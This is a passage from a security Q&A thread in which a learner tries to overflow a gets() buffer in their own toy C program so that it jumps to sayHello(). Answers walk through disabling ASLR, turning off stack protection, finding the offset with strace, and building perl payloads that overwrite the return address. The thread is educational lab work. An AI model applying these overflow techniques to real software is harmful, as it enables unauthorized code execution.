To note before compiling the program I disabled ASLR via:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space 
root@laptop:~# exit

I then compiled the program via:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(I also didnt understand the -mpreferred-stack-boundary=4 parameter)

I have a program :

Source code of c program which I am trying to overflow

The overflow in theory should occur when the compiler gets to the line of gets(buff); where I have been attempting to overflow the return address ($RIP).

Below is the disassembly of my main method, getInput() and sayHello() (for the purpose of showing the address of the sayHello method, 0x4005d, which I hope to overwrite the stack RIP with).

Disas of the methods

When I give an input of above 15 x A's I segfault the program. And when I provide more than 24 x A's I begin to overwrite the $RIP, i.e. 25 x A's would make the RIP value 0x0000000000400041. Logically, I tried to then provide the hex values for "4005dc" (sayHello() address) however I fail when attempting that. When using online hex to text converters, the corresponding text value I get from "4005dc" is "@Ü".

More so I understand that when the program reached the retq instruction within getInput() it will pop the return address of the top of the stack and jump to it.

  • Wouldn't it be easier to provide a command line argument to overflow the buffer vs. attempting to input and capture with gets? Or reading bytes in from a file? You're running into an issue that all vulnerability researchers run into: the limitations of the vulnerability, and how to successfully trigger it. Try looking at this answer over at Super User to type input unicode characters in Linux.
    – RoraΖ
    Nov 2, 2015 at 20:26
  • 1
    Also, RIP is not being overwritten. The return address is, and RIP is set to the return address at retq. Semantics, but there is a distinction.
    – RoraΖ
    Nov 2, 2015 at 20:33

2 Answers 2


x86 SOLUTION ONLY: (see comments)

If I got your task right, you have to overflow the function pointer for sayHello.

Hence, the first task is to identify that functions address.

nm test | grep sayHello

In my case this was the result

0804844b T sayHello

So I have to overwrite the return address (RET) of getInput() with 0x0804844b. Now you can either identify via gdb how far away from RET the buffer buff is located. I have chosen a different approach, since it was quite obvious what range it will be. Therefore my next step was to identify the amount of data to put into buff to over write RET. This is done using the following command which will enter a string of 'A' repeated 28 times when the program waits for input (gets()):

perl -e 'print "A"x28' | strace -i test

and looked for such a line to appear in the end:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Next, I have reduced the number of 28 to 24 and printed four times B to see whether the address in the output above changes to [42424242] - it didn't, so I reduced 24 to 20 and checked again.

perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---


The last step is to replace BBBB with the address (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

and the output was:

4\x04\x08"' |  ./test
Segmentation fault (core dumped)

I have successfully overwritten RET with the address of sayHello().

With that off the chest, let's have a look at your compilation string question.

-mpreferred-stack-boundary=4 man gcc is very helpful here. You tell gcc with this parameter to keep the stack boundary aligned to 2^4 (16 Byte). If you want to have it at 16 Byte, you can leave the parameter since this is default.

However, I have also used the parameter -fno-stack-protector. With this I tell the compiler to not add extra code for checking buffer overflow. If you leave that out, you won't be able to exploit your test binary.

  • Can you post your source code?
    – RoraΖ
    Nov 3, 2015 at 14:09
  • The source code is posted in the initial post (image - sigh - but 10 sec to type). I did not change it.
    – Zonk
    Nov 3, 2015 at 15:30
  • Ah ok, I'm not too familiar with Perl so I wasn't sure if you were taking in command line arguments or not. Nice explanation.
    – RoraΖ
    Nov 3, 2015 at 16:00
  • @RoraΖ thank you for the compliment and sorry about the perl part confusing you. i have added some more info there.
    – Zonk
    Nov 3, 2015 at 16:48
  • @Zonk Why is it that your return address is overwritten after 20 A's however in my case the return address is overwritten after 24 A's? I am assuming you are also running this on a x86_64 machine. My return is just get a segfault, and the ASCII value of the hexcode which I provide appended to my A's. Given that this time I compiled my program with the -fno-stack-protector flag.
    – reyyez
    Nov 3, 2015 at 18:57

x86_64 SOLUTION:

Sorry again for my ignorance in the first reply, had my mind drifting off...

But it's actually not that different, here step-by-step how I solved this.

1) Source Code Compilation:

$ gcc -fno-stack-protector -o vuln vuln.c

Note: I renamed the executable to vuln instead of test, just something I like to order my filesystem.

2) Identify ADDR of sayHello():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

So the ADDR of sayHello is 0x0000004005bd we need to overwrite RIP with that value before getInput() returns.

3) Identify the Location of RET_ADDR to be Overwritten by ADDR:

Similar to the x86 solution, we need to identify how many times we can pass 'A' (or any other char) that the value is stored in RET_ADDR's location. GDB is your friend here, especially with peda. You can find an excellent example here.

In my case it was 24 bytes => perl -e 'print "A"x24'

4) Craft Payload to Overwrite RET_ADDR:

This is the perl command, whose result is fed into the gets() call.

perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

The second print inside the perl command is used to pass the ADDR of sayHello() in little-endian.

5) PIPE Command from (4) to the Program:

$ perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
Segmentation fault (core dumped)
  • Hello @Zonk apologies for the late reply, I was working on this from your initial reply, however didnt get a chance to respond. For some reason I am not able to overwrite the return address, I think there is some underlying system mechanism which is preventing me from overwriting the address. As when I provide random input value such as 30 * A's, I will overwrite the return address with 41's. However, when I try do overwrite with hex address values, I am only ever able to overwrite the first 2 bytes. My sayHello function address is : 0x00000000004005dc. However when providing the following :
    – reyyez
    Nov 5, 2015 at 18:57
  • perl -e 'print "A"x24; print "\xdc\x05\x40\x00\x00\x00\x00\x00"' | ./vuln I get : AAAAAAAAAAAAAAAAAAAAAAAA�@ Segmentation fault More so I realise (in my case) I only need to overwrite the "05dc" since I have figured out that the value which I am trying to overrwrite is 0x0000000000400600. Hence obviously the only bit I need to overwrite is the "0600" part. However I am not succesful. Is there another system flag which I need to deactivate (like I did with the ASLR in my original post)?
    – reyyez
    Nov 5, 2015 at 19:05
  • No the 0 is enough in the proc file. Remember, after each reboot you need to repeat that. I would overwrite with the leading zeros. What helped me to get back into this was the blog post that used gdb-peda and created a simple buffer overflow example and shellcode to spawn a shell.
    – Zonk
    Nov 5, 2015 at 19:24
  • With peda you can also generate a specific pattern that you later can look for in the memory. To identify if 24 is really the right offset
    – Zonk
    Nov 5, 2015 at 19:26
  • @user3524889 Did you manage to exploit the application?
    – Zonk
    Nov 10, 2015 at 8:28

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .